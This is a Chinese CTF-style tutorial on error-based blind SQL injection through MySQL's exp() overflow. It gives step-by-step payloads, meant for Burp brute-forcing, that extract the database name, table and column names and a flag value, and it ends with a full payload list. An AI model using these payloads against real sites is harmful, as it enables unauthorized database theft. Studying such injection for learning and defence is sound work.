【exp报错注入】

整数范围

最大整数


exp 函数介绍

报错盲注注入

payload分析

709+C-ASCII 值就等于我们下面的 709+1-1 ,C就是我们要猜的值,当我们猜测的值和ASCII码相等时,那么exp就不会出现报错,因为+1-1还是等于709:

练习

cpp 复制代码
id=1 and 1=1%23    返回hello,admin
id=1' and 1=1%23   返回数据库操作错误

通过上面测试这是一个数字型注入的题目我们直接用下面的payload:

cpp 复制代码
猜测数据库名的长度
id=1 and exp(709%2b4-length(database()))%23

我们看到上面payload里的709%2b4%23是加号的意思这里的意思是709+4,那么为什么要把+号编码呢?因为在burp里+号会被认为是空格,所以需要url编码来编码一下,我们来发包:

这里提示数据库操作错误,因为我们这里的猜测是值是4,出现报错说明我们后面的数据库长度没有四位,因为根据我们的exp(709)大于709会报错的特性,那么数据库长度必然小于4,不然的话不会出现报错,这里我们使用burp的爆破模块来猜测长度,在C的位置打上标记:

这里我们是从大到小猜的,

我们观察发现474为错误信息,4和3之间有个转折点,从原本报错的4变成3后正常了,那么说明我们数据库的长度为3:

下面我们开始猜测数据库名:

cpp 复制代码
猜测数据库名
id=1 and exp(709%2b119-ascii(substr((select database()),1,1)))%23

直接在C打上标记:

因为exp的特性,所以我们需要从大到小开始猜测,ASCII码的可见范围是32~127,那么我们就从127开始猜测:

我们找到报错和正常的转折点的数字,119就是我们所需要的正确的ASCII,第二位第三位都是同理:

cpp 复制代码
猜表名的长度
id=1 and exp(709%2b9-(select length(group_concat(table_name)) from information_schema.tables where table_schema=database()))%23

猜表名的代码里和上次讲的盲注代码类似,变动的地方是exp函数,我们需要猜测的地方是9的位置,同样爆破9的位置,表名通常不会很大,我们只需要在1~10范围内猜测,大概率就可以拿到长度,其他的payload如下,方法都是类似,用burp标记后爆破就可以得出结果:

cpp 复制代码
测试注入点
id=1 and 1=1%23    返回hello,admin
id=1' and 1=1%23   返回数据库操作错误

猜测数据库名的长度
id=1 and exp(709%2b4-length(database()))%23

猜测数据库名
id=1 and exp(709%2b119-ascii(substr((select database()),1,1)))%23

猜表名
id=1 and exp(709%2b103-ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)))%23

猜列名长度
id=1 and exp(709%2b4-(select length(group_concat(column_name)) from information_schema.columns where table_name='flag'))%23

猜列名
id=1 and exp(709%2b102-ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1)))%23

猜数据长度
id=1 and exp(709%2b38-(select length(flag) from flag))%23

猜数据
id=1 and exp(709%2b102-ascii(substr((select flag from flag),1,1)))%23
相关推荐
春风霓裳4 小时前
sql-窗口函数
大数据·数据库·sql
言之。4 小时前
【数据库】TiDB 技术选型与架构分析报告
数据库·架构·tidb
人工智能训练5 小时前
如何在 Ubuntu 22.04 中安装 Docker 引擎和 Linux 版 Docker Desktop 桌面软件
linux·运维·服务器·数据库·ubuntu·docker·ai编程
胖头鱼的鱼缸(尹海文)5 小时前
数据库管理-第386期 使用OCP部署OceanBase 4.4.1社区版集群(20251107)
数据库·oceanbase
Craaaayon5 小时前
如何选择两种缓存更新策略(写缓存+异步写库;写数据库+异步更新缓存)
java·数据库·redis·后端·缓存·mybatis
一 乐5 小时前
点餐|智能点餐系统|基于java+ Springboot的动端的点餐系统小程序(源码+数据库+文档)
java·前端·数据库·vue.js·spring boot·小程序·论文
WarriorTan6 小时前
理解PostgreSQL中的数据块
数据库·postgresql
学好statistics和DS6 小时前
三个好思路:SQL并行化处理、混淆矩阵和特征交叉
数据库·sql·矩阵
唐僧洗头爱飘柔95276 小时前
【GORM(3)】Go的跨时代ORM框架!—— 数据库连接、配置参数;本文从0开始教会如何配置GORM的数据库
开发语言·数据库·后端·golang·gorm·orm框架·dsn
谅望者6 小时前
在 macOS 上使用 Homebrew 安装 MySQL 8.0 完整指南
数据库·sql·mysql